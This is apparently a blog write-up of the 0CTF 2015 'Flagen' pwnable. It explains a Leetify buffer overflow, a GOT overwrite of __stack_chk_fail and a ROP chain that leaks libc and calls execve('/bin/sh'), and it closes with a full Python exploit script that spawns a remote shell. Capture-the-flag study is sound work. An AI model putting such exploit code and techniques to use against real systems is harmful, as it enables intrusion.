Blog

0CTF Flagen Pwnable

2015-03-28 19:42:33

This is a write up for 0CTF 2015 pwnable Flagen
For this pwnable, we were given a 64 bit elf and the libc.so used on the server.

Quickly running the program we see that you can input a string and preform actions on it.
== 0ops Flag Generator ==
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit 
=========================
Your choice: 1
Hello World
Done.
== 0ops Flag Generator ==
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit 
=========================
Your choice: 4
Done.
== 0ops Flag Generator ==
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit 
=========================
Your choice: 6
The Flag is: 1-13110 W0r1d
Done.
== 0ops Flag Generator ==
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit 
=========================
Your choice: 7
Bye


The string input is limited to 0x100 bytes and there are stack canaries on most methods.
Looking around I first thought we could use the Add Prefix option to overflow the buffer,
as it added 0CTF{ to the beginning. However, it is written with snprintf, and limits the size.
Then I noticed that there is no size check on the Leetify option, and that 'H' will be replaced
with 3 characters '1-1'. Thus adding enough H's will push the end of the string out over the
buffer limits.
Your choice: 1
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
Done.
== 0ops Flag Generator ==
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit 
=========================
Your choice: 4
Segmentation fault (core dumped)


However, when we just slight overflow it to get control of the stored return address, we kill
the stack canary and __stack_chk_fail is called. On the bright side if we overwrite more, we
end up overwriting the destination argument that is passed to strcpy before the check fails.

Because the elf only has partial Relro, we use this to overwrite .got.plt entries. Specifically,
we can overwrite __stack_chk_fail, as its called a few instructions later. Now that we have
control of eip, we can start our ROP.

The plan is to leak a libc address and then write new addresses for use to return into,
hopefully allowing us to just ret2libc. The first thing we need is a pivot. Luckily, ebp points
to the stack right after our strcpy argument overwrite. The next address after that is the src
address, so we will skip over that and start stage 1 of the ROP chain.

From here we return to the end of the main method where it prints "Bye" and supply our own
argument of somewhere in .got.plt to get our leak.

== 0ops Flag Generator ==
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit 
=========================
Your choice:

¦än++n++in+++àn++n++n++n++n++n++n++n++n++n++n++n++n++n++n++n++n++n++n++n++-ån++n++n++n++1-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-14444444444444444444444444444444444444444444444444444444444444444444444444444444n++n++n++n++

From this we can extract the libc address and calculate any new address due to ASLR.

The main method then leaves and returns to our new strcpy near .got.plt. From here I ran
into some problems trying to read input, because we were so close to invalid memory in
.got.plt, so I stuck about 20 ret; gadgets to help lift the stack some. After that I returned into
the program's method that reads user input until a size is hit or a \n if found. This is nice
because we can use it to also write null bytes. We feed it the location of execve with the
leaked offset applied, and give it arguments of libc's "/bin/sh" string and two nulls.

Finally all we need to do is return into this, its about 3 words away, so we can use a pop*3
gadget and just return into execve. Now we can interact with the shell and cat our flag.

Final output:
== 0ops Flag Generator ==
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit 
=========================
Your choice:
 Done.
== 0ops Flag Generator ==
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit 
=========================
Your choice:
 
¦än++Dgn+++àn++n++n++n++n++n++n++n++n++n++n++n++n++n++n++n++n++n++n++n++-ån++n++n++n++1-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-14444444444444444444444444444444444444444444444444444444444444444444444444444444n++n++n++n++
0xf7624650L

id
uid=1001(flagen) gid=1001(flagen) groups=1001(flagen)
cat /home/flagen/flag
0ctf{delicious_stack_cookie_generates_flag}


Final python scrip:

import struct
import socket as soc
import telnetlib as tl
import time
import sys

def readuntil(so, needle):
    data = ""
    while needle not in data:
        data += so.recv(1)
    return data

so = soc.socket(soc.AF_INET,soc.SOCK_STREAM)
if (len(sys.argv)>1):
	so.connect(("202.112.26.106",5149))
else:	
	so.connect(("localhost",6000))

print readuntil(so,"Your choice:")
so.send("1\n")

#We overwright stackcheckfail with this address
pl=struct.pack("I",0x080485d8) #leave; ret to stage 1

#Stage 2 (Write and ret2libc)
of2=4*24
#Move the stack forward so functions can have stack space
pl+=struct.pack("I",0x08048b02)*20 #ret;

#Read in input and then return into it
pl+=struct.pack("I",0x80486CB) #Return to get user input
pl+=struct.pack("I",0x08048d8d) #3 pops to align to our ret2execve
pl+=struct.pack("I",0x804b080) #Address to write to
pl+=struct.pack("I",0x01010101) #Size

#Calculate offsets and padding
h=13+(36/2)
of=(h-13)*2
pl+="H"*h
pl+="A"*(0x100-14-h-of-of2)

#First leave ret ends up here, we want jump forward to stage 1
pl+=struct.pack("I",0x08048b01) #pop ebp ret

#Overwrite strcpy argument with this address
pl+=struct.pack("I",0x804b01c) #Stackcheckfail location

#Stage 1 (Leak libc address with printf)
pl+=struct.pack("I",0x8048D06) #Ret to printf (it does leave; ret; We pivot to stage 2)
pl+=struct.pack("I",0x804b010) #Print some got addresses

so.send(pl+"\n")

#Trigger the 'H' bug in leetify
print readuntil(so,"Your choice:")
so.send("4\n")

time.sleep(.1)
print so.recv(1)
#read leaked address
nv = struct.unpack("I",so.recv(4))[0]
print so.recv(4096)
print hex(nv)

#Calculate difference in libc
dif = nv-0xb7e92650

#Send ret2execve and "/bin/sh" locations accounting for ASLR
pl="AAAA"
pl+=struct.pack("I",0xb7ee2be0+dif) #execve
pl+="AAAA"
pl+=struct.pack("I",0xb7f8da24+dif) #/bin/sh
pl+="\x00"*8 #null arguments
so.send(pl+"\n")

#Interact with our shell
t = tl.Telnet()
t.sock = so
t.interact()